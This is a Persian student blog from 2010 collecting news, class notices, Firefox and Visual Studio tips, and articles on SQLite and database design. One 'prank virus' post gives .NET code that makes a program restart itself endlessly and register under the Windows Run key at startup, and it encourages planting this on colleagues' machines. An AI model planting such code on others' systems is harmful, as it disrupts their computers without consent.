به کسایی که دسترسی دارین اطلاع بدین!!!
۱۳۸۹ خرداد ۸, شنبه
******* توجه *********
به کسایی که دسترسی دارین اطلاع بدین!!!
ساخت رقيب مسلمان سايت فيسبوك در پاكستان
خبرگزاري دانشجويان ايران - تهران
سرويس: جامعه اطلاعاتي -فناوري اطلاعات
پاكستانيها كه بر سر كاريكاتورهاي موهن به پيامبر اكرم (ص) به نمايش درآمده در سايت شبكه اجتماعي فيسبوك شديدا معترض شدند، سايت جديدي را براي 1.6 ميليارد نفر مسلمان جهان راهاندازي كردند.
به گزارش سرويس فنآوري اطلاعات خبرگزاري دانشجويان ايران (ايسنا)، گروهي از شش متخصص جوان IT در لاهور كه پايتخت فرهنگي و سرگرمي پاكستان است، www.millatfacebook.com را به منظور داشتن محيطي براي تعامل آنلاين و اعتراض به توهين به مقدسات، براي مسلمانان راهاندازي كردند.
راهاندازي اين سايت بهدنبال حكم دادگاهي در پاكستان براي بستن فيسبوك تا 31 ماه مي به دليل ايجاد صفحهاي در اين شبكه اجتماعي براي انتشار كاريكاتورهاي موهن به ساحت پيامبر اسلام(ص) صورت گرفته است.
طبق اطلاعات اين سايت، ملت فيس بوك نخستين سايت شبكه اجتماعي راهاندازي شده در پاكستان و سايتي براي مسلمانان است كه توسط مسلمان ايجاده شده و از افراد ساير مذاهب نيز استقبال ميكند.
به گفته بنيانگذار اين سايت، متخصصان به صورت شبانهروزي در تلاشند تا امكانات مشابه ايجاد شده در سايت فيسبوك را براي كاربران اين سايت نيز عرضه كنند.
اين سايت مدعي است در طي سه روز گذشته چهار هزار و 300 عضو جذب كرده كه بيشتر آنها پاكستانيهاي آشنا به زبان انگليسي هستند.
متلاشي شدن حلقهي انتشاردهندگان ويروس باجگير
|
۱۳۸۹ خرداد ۷, جمعه
کلاس رفع اشکال ریاضیات گسسته پیش از امتحان
۱۳۸۹ خرداد ۳, دوشنبه
مخلوط
1 - اگر کاری قابل ارایه دارید ممنون میشم ارایه کنید
2 - قبل از هر انتقادی فکر کنید و پیشنهاد بدید که چکار میشه کرد که سال آینده کامل تر باشه
دوم : فصل امتحانات داره نزدیک میشه همه هواستون رو برای شکار جزوه های خوب جمع کنید تا تو وبلاگ بگذاریم
در ضمن امیدوارم مشکلاتی که ترم قبل بعد از امتحانات پیش اومد دیگه پیش نیاد
سوم : بعضی از دانشجو ها پیشنهاد دادند تاریخ اردو بعد از آخرین امتحان انداخته بشه تا دغدغه ها کمتر بشه
چهارم : هرسه مورد
۱۳۸۹ اردیبهشت ۲۹, چهارشنبه
راز خوشبختی
تاجري پسرش را براي آموختن راز خوشبختي نزد خردمندي فرستاد . پسر جوان چهل روز تمام در صحرا راه رفت تا اينكه سرانجام به قصري زيبا برفراز قله كوهي رسيد.مرد خردمندي كه او در جستجويش بود آنجا زندگي مي كرد.
مرد جوان اين بار به گردش در كاخ پرداخت، در حاليكه همچنان قاشق را به دست داشت، با دقت و توجه كامل آثار هنري را كه زينت بخش ديوارها و سقف ها بود مي نگريست .او باغ ها را ديد و كوهستان هاي اطراف را، ظرافت گل ها و دقتي را كه در نصب آثار هنري در جاي مطلوب به كار رفته بود تحسين كرد. وقتي به نزد خردمند بازگشت همه چيز را با جزئيات براي او توصيف كرد.
خردمند پرسيد: پس آن دو قطره روغني را كه به تو سپردم كجاست؟
بر گرفته از كتاب كيمياگر، نوشته پائولو كوئيلو
۱۳۸۹ اردیبهشت ۲۲, چهارشنبه
افزایش سرعت مرور صفحات اینترنت با افزونه فایرفاکس
نکته مهم: در صورتی که آشنایی کافی به اینترنت، مرور صفحات اینترنت و نحوه کارکرد صفحات آن ندارید این شیوه برای شما مناسب نیست. برای درک صحیح عملکرد این روش حداقل باید با mime type ها آشنایی داشته باشید.
در این نوشتار قصد دارم که افزونه BetterCache رو معرفی کنم که این بهبود رو با استفاده از این افزونه انجام خواهیم داد.
دریافت افزونه BetterCache
شیوه نصب و راه اندازی با تنظیمات بهینه
پس از نصب، این افزونه به طور خودکار شروع به کار خواهد کرد، اما تنظیمات پیش فرض آن چندان مناسب نیست و نیاز به تغییرات اندکی دارد. برای اعمال تغییر باید به صفحه تنظیمات این افزونه بروید. برای این کار گزینه Add-ons را از منوی Tools فایرفاکس انتخاب کنید. در پنجره Add-ons به برگه Extensions رفته و با انتخاب BetterCache دکمه Options را انتخاب کنید. به برگه Never-cache list بروید. در کادر Mime-type مقدار text/html را وارد کنید و دکمه Add را بزنید.
و تمام. کاری که الان انجام دادید جلوگیری از اعمال تغییرات توسط این افزونه برای صفحات عادی بود.
BetterCache Never-cache list
شیوه عملکرد این افزونه برای افزایش سرعت
قبل از هر چیز باید در مورد caching اطلاع داشته باشید. caching در وب در حقیقت ذخیره کرده محتویات متن، تصویر و غیره برای مدت زمان مشخص شده توسط سایت هست. این کار باعث خواهد شد که در درخواست های بعدی به جای دریافت مجدد اطلاعات از سرور سایت، فایل cache شده در مرورگر استفاده شود که این باعث صرفه جویی های زیادی میشود. معمولا اکثر سایت ها قوانین خاصی رو برای caching محتویات مختلف سایت در نظر می گیرند. این قوانین در طی اولین انتقال محتویات سایت به مرورگر ارسال میشود.
کاری که این افزونه انجام میدهد دقیقا مربوط به قوانین caching است. این افزونه با دستکاری این قوانین فایرفاکس را مجبور به ذخیره و cache کردن محتویات سایت برای مدت زمان بیشتری میکند. این نکته رمز موفقیت این افزونه در افزایش سرعت است.
اما نکته مهم در اینجا به کارگیری صحیح و جلوگیری از کش کردن اطلاعات ضروری توسط این افزونه است. زیرا ممکن که محتویات قدیمی را به جای محتویات جدید مشاهده کنید. (در این صورت راه حل استفاده از کلید F5 است)
چرا text/html رو به لیست چشم پوشی ها اضاف کردیم؟ به این علت که معمولا محتویات اصلی سایتها توسط صفحات عادی یا html انتقال پیدا می کند. پس در صورتی که این صفحات را کش کنیم دیگر به محتویات تازه دسترسی نخواهیم داشت.
چند نکته مهم در هنگام به کارگیری این افزونه
در صورتی که احساس می کنید که محتویات سایت در حال مشاهده قدیمی هست از دکمه reload فایرفاکس استفاده کنید. برای اینکه تمامی محتویات سایت به طور کامل و از ابتدا دریافت شود از ترکیب کلید های ctrl+f5 استفاده کنید.
در تنظیمات پیش فرض این افزونه سایت های ssl دار کش نمی شوند(این سایتها با یک s اضافی مشخص هستند httpS). برای فعال کردن این امکان گزینه Cache secure connections too را از صفحه اصلی تنظیمات این افزونه انتخاب کنید. با این کار شاهد افزایش چشمگیر سرعت gmail خواهید بود. گزینه refresh در gmail هم فراموش نشود.
نکته برای طراحات وبرنامه نویسان وب: برای جلوگیری از ایجاد مشکل در مشاهده صفحات localhost، در لیست Never-cache list مقادیر localhost و 127.0.0.1 رو هم با استفاده از فیلد URL اضافه کنید.
نکته مهم: در صورتی این افزونه به هر دلیلی مانند جلوگیری از نمایش محتویات به روز در سایت های مورد علاقه شما، مشکلاتی را برایتان ایجاد میکند به سادگی میتوان این افزونه را از فایرفاکس حذف کنید.
پ.ن1: انتظار معجزه از این افزونه نداشته باشید. کارایی این افزونه زمانی مشخص تر خواهد بود که از سایتهای مشخصی بارها در طول روز بازدید کنید و یا سایتهایی که تعداد زیادی اسکریپت دارند.
پ.ن2: برای من این افزونه خیلی مفید بود و در مدت یک هفته که دارم ازش استفاده میکنم احساس میکنم که سرعت مرور صفحات بیشتر از گذشته شده.
باشد که لنگر کشتی دیگر نامردی نکند.
ساخت ویروس در عرض چند ثانیه
اول اینکه این ویروس نیست و تیتر رو برای جذابیت قضیه آبدار نوشتم. بعدشم از این روش فقط برای شوخی کردن با رفیق و رفقا استفاده کنید و انتشار اون تو جمع و اینترنت ممنوع؛ پس هیچ مسئولیتی در قبال استفاده نادرست از این روش بر عهده نمی گیرم!
فقط کافیه که یک خط کد زیر رو در جایی که می گم بنویسید تا برنامه به صورت پی در پی اجرا بشه و طرف مقابل کلافه بشه. در ضمن این کد فقط برای زبان های دات نتی یعنی C# و VB.NET و … کار می کنه.
برای انجام این کار در پروژه C# خودتون فایل Program.cs و در پروژه VB.NET خودتون فایل Program.vb رو باز کنید و در ابتدای تابع Main کد زیر رو بنویسید:
Application.Restart()
این کار رو می تونید رو سیستم همکارتون انجام بدین و منتظر بمونین که برنامه رو اجرا کنه. توصیه می کنم از این لحظه فیلم تهیه کنید و به سایت youtube هم اضافه کنید.
راز این موضوع در تایع Application.Restart نهفته است. این تابع باعث ریستارت شدن برنامه میشه. به این صورت که یک برنامه موقت و کوچک در دایرکتوری temp در سیستم ایجاد میکنه و سپس برنامه اصلی رو می بنده، بعد از بسته شدن برنامه، فایل اجرایی ایجاد شده در temp برنامه ما رو دوباره اجرا می کنه و سپس پاک میشه. در کد بالا چون ما کد رو در ابتدای برنامه نوشتیم پس برنامه در همان ابتدای اجرا ریستارت خواهد شد و این روند ادامه خواهد داشت تا زمانی که سیستم پر از این برنامه خواهد شد.
برای اینکه از شر این مزاحم خلاص بشین ساده ترین راه ریستارت سیستم هست. اما این هم راه داره و اون این که برنامه رو تو ریجستری ویندوز بنویسید و هربار که سیستم بالا میاد برنامه هم بالا بیاد. با این کد:
Microsoft.Win32.Registry.SetValue(@”HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run”,”Hello”,System.Windows.Forms.Application.ExecutablePath)
این کد رو قبل از تابع Restart بنویسید و نتیجه رو مشاهده کنید. برای اینکه از شر این روش هم خلاص بشید، راه سادش رفتن در حالت Safe Mode و حذف کردن کلیدی که آدرسش در کد بالا هست.
در پایان بهتره که این کار رو تو اوقات فراغت و برای شوخی با همکاران یا دوستانتون انجام بدین. در ضمن این روش قبلا توسط من روی همکاران و توسط همکاران روی من امتحان شده و 100% جواب داده و موجب شاده و خنده بسیار شده است.
خوش باشین
نصب و رفع مشکلات راهنمای Visual Studio 2010
متاسفانه نصب راهنما در این نسخه چندان سر راست نیست و همچنین تعدادی مشکل دارد که در این اینجا به بررسی آنها می پردازم.
- نصب راهنما
پس از نصب موفقیت آمیز Visual Studio در صفحه پایان نصب، لینکی در پایین صفحه جهت نصب راهنما قرار داده شده که مستقیما از آنجا می توانید مراحل نصب را همانند زیر انجام دهید. لزومی نیست که حتما از آن لینک استفاده کنید، بعدا نیز می توانید راهنما را نصب کنید.
جهت نصب از طریق Visual Studio از منوی Help گزینه Manage Help Settings را انتخاب کنید. در صورتی که بار اولی است که از این گزینه استفاده می کنید از شما مسیر ذخیره سازی فایلهای آفلاین پرسیده خواهد شد. مسیر را با در نظر گرفتن اینکه ممکن است تا 3 گیگ فضا مورد نیاز باشد تایین کنید.
پس از آن می توانید از طریق گزینه “Choose online or local help” تعیین کنید که آیا از راهنمای آنلاین می خواهید استفاده کنید یا آفلاین. در صورت انتخاب گزینه آنلاین هیچ نیازی به نصب چیز دیگری نخواهید داشت و راهنمای از طریق سایت MSDN ماکروسافت نمایش داده خواهد شد.
در صورت انتخاب گزینه آفلاین سیستم راهنما از راهنماهای نصب شده استفاده خواهد کرد. پس نیاز خواهید داشت راهنماها را نصب کنید. نصب راهنمای آفلاین به سادگی از طریق نصب از دیسک نصب و یا دانلود امکان پذیر است. برای دانلود گزینه “Install content from online “ و برای نصب از دیسک گزینه “Install content from disk” را انتخاب کنید.
فایلهای راهنما در دی وی دی نصب موجود است و بهتر است بجای دانلود از آنها استفاده کنید. فایل نصب راهنما در مسیر DVD:\ProductDocumentation\HelpContentSetup.msha قرار دارد که باید از طریق گزینه Install content from disk اقدام کنید.
پس از اقدام به نصب می توانید از میان بخش های موجود، بخش های مورد نظر را انتخاب و اقدام به نصب یا دانلود کنید.
Help Library Manager
- رفع مشکلات
پس از انجام عمل Repair برنامه نصب visual studio و یا به علت حذف ویا تغییر نا خواسته مسیر نصب فایلهای آفلاین سیستم راهنما به طور کل از کار می افتد و با اجرای مجدد Manage Help Settings جهت تغییر مسیر نصب و یا تغییر به وضعیت آنلاین، با خطا مواجه خواهید شد. در این وضعیت هیچ امکانی برای استفاده از راهنما نخواهید داشت.
یکی از خطاهای سیستم راهنما
چند راه حل برای رفع این مشکل وجود دارد که ساده ترین آنها به این شکل است:
برنامه Regedit را باز کرده و به مسیر HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Help\v1.0 بروید. در آنجا مقدار LocalStore را پیدا کرده و پاک کنید. سپس مجددا گزینه Manage Help Settings را اجرا کنید تا مسیر نصب مجددا پرسیده شود. که می توانید در این حالت مسیر قبلی راهنماهای نصب شده را تعیین کنید.
- برنامه کمکی H3Viewer
با استفاده از این برنامه رایگان می توانید راهنماهای آفلاین نصب شده را همانند Document Explorer نسخه قبلی راهنما مشاهده کنید. همچنین با استفاده ازاین برنامه می توایند مرورگر پیش فرض راهنما را نیز تغییر دهید.
این برنامه کم حجم را می توانید از اینجا دریافت کنید (لینک دانلود در پایین صفحه): http://mshcmigrate.helpmvp.com/viewer
برنامه H3Viewer نیاز دارد تا سیستم راهنما در حالت آفلاین کار بکند، در این صورت می تواند راهنماهای نصب شده بر روی سیستم را لیست کند.
برای تنظیم مرورگر پیش فرض سیستم راهنما از طریق زیر منوی Options->Set default Viewer for MS HV 1.0 اقدام کنید. توجه کنید که برنامه باید با دسترسی administrator اجرا شده باشد.
پ.ن: در هر صورت وجود راهنمای اصلی نرم افزار لازم و ضروری به نظر می رسه گرچه ممکنه گوگل شما را سریع تر به نتیجه برسونه.
SQLite پایگاه داده ای سبک و چابک
- بررسی ویژگیها
برخلاف پایگاه داده های client-server پایگاه داده ی SQLite به عنوان یک پروسه مجزا عمل نمی کند. بلکه به عنوان کتابخانه ای عمل می کند که همراه برنامه انتشار یافته و امکان دسترسی به دیتا را به برنامه می دهد و همانند بخشی از آن عمل می کند.
برنامه می بایست از طریق توابع فراهم شده اقدام به فراخوانی و دسترسی به دیتا نمایند که این نحوه فراخوانی باعث بهینه تر و سریعتر در دسترس قرار گرفتن نتایج خواهد شد. این روش از درخواست به سرویس های دیگر جهت دریافت اطلاعات که سایر پایگاه داده های از آن استفاده می کنند برای داده های کم حجم و پایگاه داده کوچک، بهینه تر است.
تمامی اطلاعات این بانک اطلاعاتی (شامل جداول، تعریفات، دیتا و غیره) در یک فایل که برای تمامی سیستم عامل ها یکسان است ذخیره می شود. این روش یکی از دلایل موفقیت این پایگاه داده به شمار می آید.
SQLite با توجه به نوع ساختاری که دارد تعدادی از ویژگی های استاندارد که در SQL-92 به تصویب رسیده را پشتیبانی نمی کند. شاید بزرگترین این موارد عدم پشتیبانی از توابع و stored procedure ها باشد. سایر موارد استاندارد SQL پیاده سازی شده و در دسترس هستند.
موارد قابل استفاده در این پایگاه داده را می توان trigger ها، View ها و Query های پیچیده نام برد.
یکی از موارد جالب در پیاده سازی SQLite نحوه اعمال نوع داده ها به فیلدها (Columns) است. در این پایگاه داده به جای اختصاص دادن نوع به فیلد مورد نظر که در اکثر پایگاه داده های معتبر از این روش استفاده می شود، فقط نوع به مقدار (value) داده شده اختصاص داده می شود. برای مثال اگر نوع فیلدی Integer تعریف شده باشد و کاربر قصد وارد کردن داده ای از نوع رشته را داشته باشد، موتور پایگاه داده ابتدا سعی خواهد کرد که داده را به نوع Integer تبدیل کند. این باعث افزایش انعطاف پذیری نوع داده های فیلدها می شود. مخصوصا وقتی که نیاز به عمل bind در سایر زبانها به صورت دینامیک مورد نیاز باشد.
- شیوه مدیریت دسترسی ها
چندین پروسه یا thread می تواند به صورت همزمان به یک پایگاه داده بدون مشکل دسترسی داشته باشد و از آن اطلاعات دریافت نمایند. ولی برای نوشتن اطلاعات فقط یک پروسه امکان دسترسی خواهد داشت. سایر پروسه ها باید منتظر بمانند و یا اینکه با خطا مواجه خواهند شد.
- ابزارهای توسعه
یکی از مهمترین مزیت های این پایگاه داده امکان استفاده آن در اکثر زبانهای برنامه نویسی است. برنامه های دسترسی به این پایگاه داده در اکثر زبانها نوشته شده است و در دسترس است. برای مشاهده ابزارهای دسترسی به این ادرس مراجعه کنید: http://www.sqlite.org/cvstrac/wiki?p=SqliteWrappers
مهمترین کتابخانه های رابط برای استفاده از SQLite
dotNET Framework: http://sqlite.phxsoftware.com/
dotNET Framework: http://www.mono-project.com/SQLite
Delphi: http://www.aducom.com/
Delpi: http://wikitaxi.org/delphi/doku.php/products/sqlite3/index
C++: http://www.sqliteplus.com/
Java: http://www.ch-werner.de/javasqlite
PHP: SQLite is bundled with PHP 5. http://www.php.net/
Python: http://pysqlite.org/
برای طراحی و ایجاد پایگاه داده SQLite می توانید از ابزارهای زیر استفاده کنید:
SQLite Manager: یک extension برای مرورگر فایرفاکس که با به سادگی امکان دسترسی به تمامی امکانات SQLite رو فراهم می کند. لینک: https://addons.mozilla.org/en-US/firefox/addon/5817
- SQLite Database Browser: در آدرس sqlitebrowser.sourceforge.net
- SQLite Expert: در آدرس www.sqliteexpert.com
- SQLite Administrator: در آدرس sqliteadmin.orbmu2k.de
SQLite مورد مقبولیت فراوانی برای استفاده به عنوان یک دیتابیس Embeded قرار گرفته و در پروژه های زیر مورد استفاده قرار گرفته است:
- FireFox – این مرورگر برای ذخیره اطلاعات خود از SQLite استفاده می کند.
- Mac OS X – سیستم عامل شرکت Apple به صورت داخلی از SQLite به عنوان یک پایگاه داده استاندارد استفاده می کند.
- Skype – این نرم افزار چت و گفت و گوی آنلاین که با مقبولیت خوبی روبروست از SQLite استفاده می کند.
- Symbian – سیستم عامل گوشی های موبایل در نسخه های جدید خود از این پایگاه داده به صورت توکار استفاده می کند.
- Android – سیستم عامل جدید گوگل برای موبایل
- iPhone و iPod touch : در این دو دستگاه محصول Apple از این پایگاه داده استفاده شده است.
- Google Gears – ابزار گوگل برای نوشتن برنامه های تحت وب با استفاده از تکنولوژی های مختلف روز.
- معایب
در طی آزمایشات گوناگونی که انجام گرفته سرعت این پایگاه داده در مقابله با حجم اطلاعات زیاد مقداری بیش از حد معمول پایین می آید.
عدم امنیت. در این پایگاه داده هیچ روش خاصی برای حفظ امنیت داده های در نظر گرفته نشده است و این مورد می تواند برای ذخیره داده های حساس مشکل ساز شود.
- سخن آخر
پایگاه داده SQLite یک ابزار کوچک سریع و مطمئن است که برای مقاصد خاص نوشته شده است. از این پایگاه داده می توانید برای سیستم های Embeded استفاده کنید. یا برای نزم افزار های کوچک و تک کاربره خود تا خود را از شر مشکلات انتشار پایگاه داده های بزرگ همراه نرم افزار خود دور بمانید.
همچنین این یک گزینه فوق العاده برای کسانی است که از access صرفا برای پایگاه داده خود استفاده می کنند.
- منابع مفید
سایت اصلی: http://www.sqlite.org
دانلود نسخه اصلی: http://www.sqlite.org/download.html
ویژگی های حذف شده از SQL استاندارد: http://www.sqlite.org/omitted.html
ویژگی های پیاده سازی شده: http://www.sqlite.org/lang.html
پایگاه داده ها و مشکل بسته های نرم افزاری در ایران
فکری که باعث شد من این نوشته رو بنویسم، مشکلی بود که در تهیه بسته های نرم افزاری داشتیم. نرم افزارهای ما که با SQL Server نوشته شده بودند باید به صورت بسته نرم افزاری دربیایند تا قابل فروش باشند.
این مشکل از آنجا ناشی می شد که پایگاه داده SQL Server در هنگام نصب تنظیمات کافی رو در اختیار نمی گذاره و نمی توان به راحتی امکان نصب و عزال نرم افزار و ابزارهای اون رو به درستی انجام داد. همچنین زمانی که برای نصب این پایگاه داده صرف می شود برای یک بسته نرم افزاری کوچک بسیار زیاد هست.
این تنها مشکل ما نیست و در میان همه نرم افزارهایی که از SQL Server استفاده می کردند، این مشئله کاملا مشخص هست. تنها تفاوتی که در میان نرم افزارهای ایرانی و خارجی دیدم، قابلیت تنظیم نحوه نصب پایگاه داده در نرم افزارهای خارجی هست، در حالی که این امکان به طور کلی در نرم افزارهای ایرانی وجود ندارد و در چند مورد، حتی خود فرد باید پایگاه داده را نصب کند.
این که ما نرم افزار نوشته شده رو به صورت بسته ارائه کنیم نیز یک طرف قضیه هست. این مدل ارائه نشان از قدرت کاری شرکت هست که می تونه تمامی قسمت های کار رو تا اماده سازی و نهایی کردن محصول به درستی انجام بده. زیاد وارد این بحث نمی شم ولی این رو هم بدونید که چنین چیزی در ایران رسم نیست. بسته های نرم افزاری که مشکل دارند و نرم افزارهای سفارشی به صورت حضوری نصب و تنظیم می شوند.
مشکلات نرم افزاری ها
مشکلات مربوط پایگاه داده ها در بسته ای نرم افزاری قبلا مظرح بوده و راه حل های قابل توجهی هم برای انها وجود دارد ولی به چند دلیل بزرگ انجام انها در شرایط فعلی شرکت های ایرانی محقق نشده است.
* اولین و مهمترین و شاید بزرگترین دلیل را، راحتی در هنگام تولید بدون صرف هزینه اضافه دانست. راحتی به این معنی که پایگاه داده SQL Server با داشتن مجموعه ابزارهای برنامه نویسی قدرتمند بسیاری از کارها را راحت کرده است. غافل از اینکه در مرحله فروش دچار مشکل خواهد شد.
* دلیل مهم و بزرگ دیگر رایگان بودن استفاده از آنها در ایران است. اگه در شرایط فعلی هزینه چند صد هزار تومانی را فقط به یک پروژه متوسط اضافه کنید، سود دهی پروژه زیر سوال خواهد رفت. در حالی که این هزینه فعلا صفر است.
* دلیل مهم بعدی، آموزش فقط چند پایگاه داده های معدود است. مسلما زمانی که استفاده از ابزاری راحت و در عین حال رایگان هست، کسی به گزینه های بعدی فکر نخواهد کرد. پس راحت ترین ها آموزش داده می شوند.
معرفی تعدادی پایگاه داده جایگزین
در ادامه می خواهم شما را با چند گزینه دیگر از پایگاه داده ها اشنا کنم و مواردی را که می توان با این پایگاه دادها انجام داد. همچنین چه نوع نرم افزارهایی را می توان با انها توسعه داد. این پایگاه دادها با توجه به معیارهای ایرانی انتخاب کرده ام.
SQL Server و Oracle و MySQL
من اینگونه در نظر می گیرم شما خواننده محترم با این پایگاه داده آشنا هستید و موارد استفاده را هم می دانید.
Firebird
این پایگاه داده با داشتن موتوری قدرتمند از اکثر استانداردهای SQL پشتیبانی می کند.
مزیت های مهم: امکان استفاده از این پایگاه به عنوان یک پایگاه داده توکار و یا به عنوان یک سرور موجود هست. همچنین امکان استفاده از این پایگاه داده در چند سیستم عامل وجود دارد.
عیب مهم: تنها مورد ذکر شده عدم پشتبانی از fulltext search هست. ابزارهای مدیریتی گرافیکی توسط خود تولید کننده ارائه نمی شود و باید از ابزارهای سایر شرکتها استفاده شود.
PostgreSQL
پایگاه داده PostgreSQL هم دارای موتور قدرمتندی است و همه استاندارند ها sql را پشتیبانی می کند.
عیب نه چندان مهم: با توجه به اطلاعاتی که در سایت موجود بود به نظر می رسه که امکان استفاده مستقل از این پایگاه داده موجود نیست و حتما باید سرویس این پایگاه داده نصب باشد. همچنین امکان استفاده از این پایگاه داده در چند سیستم عامل وجود دارد.
مزیت مهم: ابزارهای مدیرتی موجود در بسته این پایگاه داده کامل بوده و از تمامی امکانات پشتیبانی می کند.
BlackFish
پایگاه داده BlackFish که در این میان خیلی به طبع من خوش اومد، همانند بقیه استاندارند است.
مزیت های مهم: امکان استفاده از این پایگاه به عنوان یک پایگاه داده توکار و یا به عنوان یک سرور موجود هست. حجم فایل های پایگاه داده کم بوده و سربار کمی بر روی سیستم دارد. همچنین عدم وابستگی به سیستم عامل که امتیاز مثبتی محصوب میشود.
مزیت فوق العاده: نکته جالب این پایگاه برای استفاده در حالت سرور این است که برنامه پایگاه داده را که یک فایل اجرایی مستقل و بدون نیاز به نصب است را با استفاده از یک خط فرمان به کار انداخت.
عیب مهم: عدم وجود محیط مدیرتی گرافیکی قوی. این پایگاه داده رایگان نمی باشد.
SQLite
پایگاه داده SQLite بسیار جالب و کار امد است.
مزیت: پایگاه داده ای تک فایلی با حجم کم و عدم وابستگی به سیستم عامل. دارای محیط مدیریتی خوب که تمامی امکانات آن را پوشش می دهند.
عیب مهم: تنها مشکل بزرگ عدم پشتیبانی از تمامی امکانات استاندارد sql هست که ضعف بزرگ اون محسوب می شود.
توضیحات بیشتر در مورد این پایگاه داده را در این پست بخوانید.
دسته بندی نرم افزارها و پایگاه داده های قایل استفاده
در ادامه به بررسی که نرم افزارهای تولیدی در ایران می پردازم و پایگاه داده ای مناسب برای آنها
دسته اول: نرم افزارهای سازمانی و بین سازمانی
این گونه نرم افزارها چون با حجم داده ها و تراکنش های زیادی مواجه هستند، باید به دنبال پایگاه داده های بسیار قدرمتند باشند. در این زمینه به چز چند انتخاب شامل Oracle، SQL Server و شاید MySQL انتخاب دیگری وجود ندارد.
در این دسته کار ها در اختیار تعدادی شرکت معدود قرار دارد و انها با توجه به نیروری کاری خود یکی از موارد فوق رو انتخاب می کنند.
بحث نصب و نگهداری هم مستقیما توسط مجری انجام میشه و به همین علت به این دسته کاری نداریم.
دسته دوم: نرم افزار های اداری/دفتری
داده های دریافتی این گونه نرم افزارهای با توجه به نوع کار در حد متوسطی قرار دارد.
نرم افزار باید بتواند به صورت شبکه در چند سیستم نصب شده و کار کند.
در چنین مواردی انتخاب های فایل طرح Firebird و PostgreSQL و Blackfish و SQL Server و MySQL هستند.
همانطور که مشخص هست در این دسته گزینه بیشتری برای انتخاب وجود دارد.
بهترین گزینه برای نرم افزارهایی که دارای کاربران شبکه محدود هستند BlackFish و برای تعداد کاربران بیشتر SQL Server است.
دسته سوم: نرم افزارهای تک نفره
داده های دریافتی این نرم افزارها در حد محدودی قرار دارد. نیازی نیست که نرم افزار به صورت تحت شبکه نیز کار کند.
همانند دسته دوم پایگاه داده های قابل انتخاب زیاد هستند که باید به انها موارد SQLite و Access رو هم اضافه کرد.
اگر وجود امکانات کامل برای پایگاه داده ضروری باشد BlackFish گزینه مناسبی هست در غیر اینصورت SQLlite می تواند گزینه خوبی باشد.
دسته چهار: نرم افزارهای utility یا کاربردی
داده های دریافتی بسیار محدود بوده و ممکن است نیازی به دریافت و دخیره اطلاعات موجود نباشد.
تنها گزینه های قابل استفاده SQLite و Access هستند.
لطفا پایگاه داده مورد استفاده خودتون رو به من در بخش نظر ها اعلام کنید.
پایگاه داده خوبی داشته باشد!
Downthemall،مدیر دانلودهای شما با فایرفاکس
همانطور که می دانید یکی از دلایل محبوبیت فایرفاکس در میان کاربران دنیا،وجود افزونه های متعدد برای این مرورگر متن باز است که دست شما را کاملا در شخصی سازی مرورگرتان باز می گذارد.علاوه بر آن،امکانات متعددی را به واسطه این افزونه ها در اختیارتان قرار می دهد که در هیچ مرورگر دیگری نمی توان یافت.
یکی از بهترین افزونه های فایرفاکس،Downthemall است که کار یک دانلود منیجر رایگان،پرقدرت و بدون تبلیغات را برای شما انجام می دهد.البته در این دانلود منیجر رایگان همانند دانلود منیجرهای گران قیمتی نظیر DAP و IDM،خبری از معجزه و resume دادن به فایلهای Rapidshare نیست؛ولی باز هم بسیار عالی و قدرتمند عمل می کند.
پیشنهاد ما در این لحظه،دانلود این افزونه است؛و اگر هم هنوز از فایرفاکس استفاده نکرده اید یقین بدانید که الان در یکی از بهترین موقعیت ها برای استفاده آن قرار دارید.فایرفاکس را دانلود کنید و لذت ببرید.
چند اشتباه در طراحی پایگاه داده
performance یا بازده، فاکتور خیلی مهمی در همه زمینه ها هست که معمولا توسط تازه کار ها و گاها توسط طراح دیتابیس فراموش میشود. معمولا در مرحله آموزش، بر روی کارهای کوچک و حجم کوچک اطلاعات مانور داده می شود. پروژه های آموزشی کوچک بوده و مثالها کاربردهای کوچک در مقابل داده های کم را در نظر می گیرند.
در دنیای واقعی وضعیت فرق میکنه. برنامه های نوشته شده باید برای مدت زمانی طولانی بدون مشکل پاسخ گو باشند. حجم داده های ورودی خیلی زیاد است. و در یک برنامه تجاری ممکنه این موارد برای چند صد تا چند صد هزار رکورد در روز هم برسد. در چنین شرایطی عدم رعایت چند نکته کوچک اما اساسی ممکن است مشکل ساز شود.
در ادامه می خواهم چند اشتباه در طراحی پایگاه داده رو مطرح کنم، به این امید که دیگر شاهد آنها نباشم. این موارد مطمئنن در طور دوره های آموزی به کرات مطرح می شود ولی شگفتا که هنوز هم عده ای این اشتباه ها را تکرار می کنند.
- استفاده ازنوع داده های رشته ای به عنوان اندیس یا کلید اصلی
نوع داده varchar و هر نوع داده کاراکتری یا رشته ای بدترین نوع انتخاب برای اندیس جدول است. این اشتباه زمانی بدتر خواهد شد که این فیلد به عنوان کلید اصلی نیز استفاده کنید؛ و سرانجام اشتباه با استفاده از این کلید به عنوان کلید خارجی تکمیل خواهد شد!
البته توجه داشته باشید که استفاده از فیلد اندیس کاراکتری در کنار کلید اصلی مشکل خاصی نخواهد داشت. فقط این مورد در صروت لزوم و زمانی که از آن فیلد به کرات برای جستجو استفاده میکنید مورد استفاده قرار دهید.
علت اشتباه بودن این انتخاب در ساخت جدول اندیس و تعداد مقایسه های انجام شده بر می گردد. به عنوان یک مثال ساده مقایسه ، دو نوع عددی می توانند به راحتی توسط دستور عمل های CPU با یکدیگر مقایسه شوند، در حالی که درنوع کارکتری باید تک تک کارکاتر ها با استفاده از شبیه سازی نرم افزاری مقایسه شوند. در رشته های یونیکد هم که حجم کاراکتر ها دو برابر می شوند.
راه حل: راه حل بسیار ساده استفاده از انواع داده عددی مانند int یا bigint است. در عین حال می توانید از سایر انواع ساده دیگر نیز استفاده کنید.
- عدم استفاده از اندیس یا کلید اصلی
این مورد رو از مورد بالایی جدا کردم چونکه هر کس همچنین اشتباهی رو انجام بده باید در مورد دانش وی تردید کرد. جداولی که ارجاعات مکرری به آنها وجود دارد باید از طریق اندیس ها بهینه شوند. وجود اندیس باعث سرعت بخشیدن در ارجاعات و افزایش بازده دیتابیس خواهد شد. کلید اصلی را هم برای استفاده به عنوان کلید خارجی و یا شناسه هر رکورد مورد استفاده قرار دهید.
البته یک استثنا در این مورد هم وجود دارد. این مورد زمانی هست که انواع توصیفی را در جدولی جداگانه قرار می دهیم، که در این صورت چون داده های این جدول کم خواهد بود و حذف اضافه ای در کار نخواهد بود، می توان آن جدول را بدون اندیس یا کلید اصلی در نظر گرفت.
